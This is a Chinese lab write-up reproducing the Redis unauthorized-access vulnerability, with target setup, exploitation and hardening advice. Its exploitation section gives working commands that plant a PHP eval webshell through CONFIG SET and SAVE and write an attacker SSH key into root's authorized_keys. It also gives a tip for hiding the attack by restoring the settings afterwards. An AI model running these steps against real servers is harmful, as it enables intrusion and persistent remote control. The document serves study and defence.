CATALOG
- 前言
- 环境配置
- 靶机环境配置
- 第一步:下载并解压redis
- 第二步:修改配置文件
- 第三步:开启redis
- 在攻击机上下载redis
- redis常见命令
- 漏洞利用须知与漏洞理解
- 实验过程
- 前言
- 资产列表
- 漏洞利用:利用漏洞写入webshell
- 漏洞利用:写入ssh公钥
- 漏洞利用:利用计划任务反弹shell
- 漏洞修复建议(引用他人博客)
前言
几年前就知道这个漏洞,可是一直没有机会复现,这两天真好有机会复现一下它,在这里做一个记录。
环境配置
靶机环境配置
第一步:下载并解压redis
- 下载redis并安装
wget http://download.redis.io/releases/redis-3.2.9.tar.gz
tar xzf redis-3.2.9.tar.gz
cd redis-3.2.9
make倘若配置出问题,可以在redis-3.2.9文件夹下执行make test根据回显进行debug。make test命令出现下图所示,即代表安装所需所有环境都正确:
如果遇见卸载gcc后无法再次安装,执行apt autoremove,接着执行apt-get install gcc即可。
遇见cc: error: …/deps/geohash-int/geohash.o: No such file,进入源码包目录下的deps目录中执行
make geohash-int hiredis jemalloc linenoise lua
- 安装openssh-server、apache2
sudo apt-get install openssh-server apache2 -y
第二步:修改配置文件
配置文件在下图的位置:
在bind前面加上 #
将protected-mode改为no,3.2以上版本,默认开启了protected模式
第三步:开启redis
重启服务然后进入redis-3.2.9目录下的src目录并打开redis-server
systemctl restart redis-server.service #重启服务
cd src
./redis-server redis.conf_path #切记第二个常熟市redis.conf的路径,一般在redis-3.2.9目录下
开启后可以在靶机上使用redis-cli命令测试看是否成功,如果出现下图的数据即成功,下图中的数据要进入redis后执行info命令才可以,注意箭头所指的字段值
在攻击机上下载redis
步骤同上,不需要修改配置文件。或者直接执行sudo apt install redis-server -y
下载redis即可,如果是mac直接执行brew install redis即可,mac上redis的配置文件在/usr/local/Cellar/redis/6.0.8/.bottle/etc
。
redis常见命令
- 远程连接redis:
redis-cli -h 192.168.122.203 - 查看redis版本信息、一些具体信息、服务器版本信息等等:
192.168.122.203:6379> info - 获取默认的redis目录、和rdb文件名:可以在修改前先获取,然后走的时候再恢复。
192.168.122.203:6379> CONFIG GET dir
192.168.122.203:6379> CONFIG GET dbfilename - 将变量x的值设为test、获取变量x的值:
192.168.122.203:6379> set x “test”
192.168.122.203:6379> get x
漏洞利用须知与漏洞理解
- 利用redis来写出来的文件一定会有一部分乱码,解决方式为在数据的前后加上至少三个\n,如果不这样子,则会导致shell执行失败,实际奥做如下如下:
这样子实际生成的文件为: - 这个漏洞利用可以这样理解:
- 如果有了redis未授权访问权限,我们就有了在对方电脑上写文件的权利。
- 使用config set dir [path]命令来决定文件的写入路径。
- 使用config set dbfilename [filename]来决定文件名。
- 使用set key value,来确定文件的内容,key值任意即可,value即为文件内容。
- 使用save命令来确定以上所有操作并生成文件。
- 我们可以在写文件之前先用config get dir与config get dbfilename命令查询这两个字段的值并保存起来,等到我们写完文件后恢复这两个字段的值,增加我们攻击的隐蔽性。
- 必须在非保护模式下才有可能利用这个漏洞,如果在保护模式下即使访问了redis也是无法执行命令的,如下图所示。
实验过程
前言
利用这个漏洞我们一般会去实现写入webshell、写入ssh公钥、在crontab里写定时任务,反弹shell这三种,我们依次来实现。
资产列表
主机名 | ip |
攻击机 | 10.92.78.137 |
靶机 | 192.168.124.138 |
因为是redis未授权,所以任意可以访问到靶机的主机都可以访问6379端口来控制其redis服务。
漏洞利用:利用漏洞写入webshell
- 连接上redis后输入以下命令:
192.168.124.138:6379> config set dir /var/www/html/
OK
192.168.124.138:6379> config set dbfilename muma.php
OK
192.168.124.138:6379> set x "\n\n\n<?php @eval($_POST['cc']);?>\n\n\n"
OK
192.168.124.138:6379> save
OK
- 然后打开蚁剑连接这个webshell
漏洞利用:写入ssh公钥
写入ssh公钥后可以在本机存储对应的ssh密钥,然后直接无密码登陆。
- 利用
ssh-keygen -t rsa
生成公钥密钥文件 修改公钥文件的内容,在其最前面与最后面加上三个反斜杠n,命令如下:
(echo -e "\n\n\n"; cat /Users/shukasakai/.ssh/id_rsa.pub; echo -e "\n\n\n") > ~/Desktop/test.txt
最终生成文件如下:
- 将公钥写入靶机:
shukasakai@zhujiayu Desktop % cat /Users/shukasakai/Desktop/test.txt | redis-cli -h 192.168.124.138 -x set x
shukasakai@zhujiayu Desktop % redis-cli -h 192.168.124.138
192.168.124.138:6379> config set dir /root/.ssh
OK
192.168.124.138:6379> config set dbfilename authorized_keys
OK
192.168.124.138:6379> get x
"\n\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCjb3a/Bm/KJyZ0KXiyOpYNz8FOm6mfe0iiATbH/41CvwgXe5nXIM0CEvF+1chwi3RKNsZcNXx59IaWOSKF9W1gX+BtdejJRD15TxxgVKgNcqHH66xDt8U/rWuTgOiPf7UgLNFx57HqMfBgT54drnD4UdrInOUGtg3oPyoPgDkD7LU90zWj+bJkqciqkA6OZiHJrzpEO+cTRLlugkVyI3N4v3zLY03v+38A7k/jhCuHpZctSVGdzM/QAHorImQo6T/EXTFwQkGcjSipVWP+jxcUsKIzPv+YCeW86h55zWmpbeQInj8jhGY1dBD3OXnlxpk/onQpvU5u0m/PlVbROFEC3YDlmZ1mgTrasPK7rRk7RAP6k+RSqGvXvFQSgV3kt0B9UXwz4iOlzaWSm+0WbiaznuBESKACI8NxpV+hwf2rzSvd7sAIJDoi8LGMYfSQ0Ocup6pIgP4Y73xLKxnVwqOiDwWpZQ6VsOYVOuxgpp3zvLBqQBWqDHxGhnG0EGcLBak= shukasakai@zhujiayu\n\n\n\n\n"
192.168.124.138:6379> save
OK
192.168.124.138:6379>
- 直接无密码登陆或者用刚设置的passphase字段的值来登陆对方主机,由于我设置的是空密码所以直接登录即可:
漏洞利用:利用计划任务反弹shell
只能在centos环境中利用因为centos环境中的计划任务文件可以忽略乱码,ubuntu环境因为无法忽略文件中的乱码因此无法使用。
漏洞修复建议(引用他人博客)网上收集的一些修复建议:
禁止一些高危命令
修改 redis.conf 文件,添加
rename-command FLUSHALL “”
rename-command CONFIG “”
rename-command EVAL “”
来禁用远程修改 DB 文件地址以低权限运行 Redis 服务
为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
$ groupadd -r redis && useradd -r -g redis redis为 Redis 添加密码验证
修改 redis.conf 文件,添加
requirepass mypassword禁止外网访问 Redis
修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用
bind 127.0.0.1保证 authorized_keys 文件的安全
为了保证安全,您应该阻止其他用户添加新的公钥。
将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:
$ chmod 400 ~/.ssh/authorized_keys
为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:# chattr +i ~/.ssh/authorized_keys
然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 位权限:# chattr +i ~/.ssh
注意: 如果需要添加新的公钥,需要移除 authorized_keys 的 immutable 位权限。然后,添加好新的公钥之后,按照上述步骤重新加上 immutable 位权限。